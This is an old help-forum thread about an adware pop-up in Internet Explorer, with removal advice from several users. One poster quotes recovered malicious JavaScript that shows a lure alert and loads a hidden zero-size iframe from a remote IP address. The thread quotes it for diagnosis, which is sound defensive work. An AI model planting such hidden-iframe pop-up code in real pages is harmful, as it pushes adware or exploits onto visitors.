i've got a pop up that runs when i open a new IE window (not consistantly - maybe every 15th time) - phony dialogue box type of pop up. reads "hey dude. click ok to see fresh teens". nothing is taking care of this. i searched it, but the only forum i saw that specifically mentioned this was in polish. adaware, spybot, CWSshredder - nothing touches it. help would be appreciated.

Have you disabled "messenger in the control panel under adminstrative tools>services>scroll down to messenger and right click select properties and select disable instead of automatic. This service has nothing to do with msn messenger, and is not needed by any average user. If it does not work you will need to try "hijackthis" from http://www.lukhere.com and post the log at that website's nastie's forum or back here. If you post the log here, be sure to state that you used Spybot and Adaware and they did not work.

My review and proof skills are the pits "lurkhere" is the website you are looking for, and hijackthis" is found under "nice files.

here is my hijackthis log. i went to lukhere, but didn't see any forums, or downloads for that matter. if anyone can help out, i'd appreciate it.

Have a look at the link below, it offers freeware pop-blockers, for most internet user getting a pop-up stopper is a MUST.
Others prefer to turn this function on from their web browsers or firewall.

Post another log.

abnormal:
I did what you suggested - due to the randomness of the popups, it'll be hard to tell if it's fixed just from the popups themselves, but here is the hijackthis log, post fix. see whatcha think:

Hi again Silly, you look ok to me.
One more thing, you don't need this;
O4 - HKLM\..\Run: [LoadQM] loadqm.exe
Removing that line should do it.LoadQM.exe
(Microsoft)This task loads the MSN Queue Manager and is installed when you install MSN Explorer or MSN Messenger. LOADQM gobbles up system resources and appears on most end-users’ Task Lists who come to us complaining of low System & User Resources or very slow, "crawling", PCs. In January 2003 this is still one of the worst behaved Microsoft programs !
Recommendation :
Disable immediately, or Delete using Starter. Next, reboot your PC and find LOADQM in the C:\WINDOWS folder. Rename it to LOADQM.exe.OLD as if you do not it will otherwise get put back in your Task List at some stage or other (on some PCs you may need to boot into Safe Mode before you are able to rename LOADQM). Note : LOADQM gets re-installed every time you install a new version of Microsoft’s MSN Messenger.Here some tips I put together, to help
you stay clean.
Hijack prevention tipsTake care because we care
Abnormal

I had that virus.
HijackThis, Spywareblaster, deleting cookies, cache & temporary files, wiping free space, all:
DID NOT FIX IT. There's no mention of it on Symantec or Microsoft sites.
I had used "Disk Investigator" to scan the raw data on my hard drive and I found this java
script:
<HTML>
<HEAD>
<SCRIPT language="JavaScript">
window.open ('min.html','smth' + parseInt(Math.ra..om() *1000000),'directories=0,toolbar=0,menubar=0,personalbar=0,location=0,scrollbars=0,status=0,resi
zable=1,height=0,width=0,screenX=0,screenY=0,left=0,top=0');
alert ('Hey dude. Click OK to see fresh teens');
</SCRIPT>
</HEAD>
<BODY>
<iframe src="http://66.230.151.114/dxp/da.html" width=0 height=0></BODY>
</HTML>BUT it is not part of a real file, i.e. this virus must write this, runs it, and then deletes
it faster than you can click.
You can see the math.random * 1000000...
I've seen both 66.230.151.114 and 66.230.134.150. I did a trace and found out that the
perpetrator of this virus is hosted at www.isprime.com
The perpetrator of this virus belongs in jail.
To get rid of it I had to go to
www.microsoft.com/downloads
and entirely re-install internet explorer 6.Hope that helps.

I caught the same virus. I followed all of the instructions given by Abnormal and I think that my problem is gone. However, I keep having one tiny problem with Internet Explorer. Every time that I open up the web, my home page is www.search-space.com. I've tried to change it numerous times but it doesn't work. This problem arose when I started getting the annoying pop-up problem/virus earlier. Does anyone have any suggestions? Here is my Hijack This log:
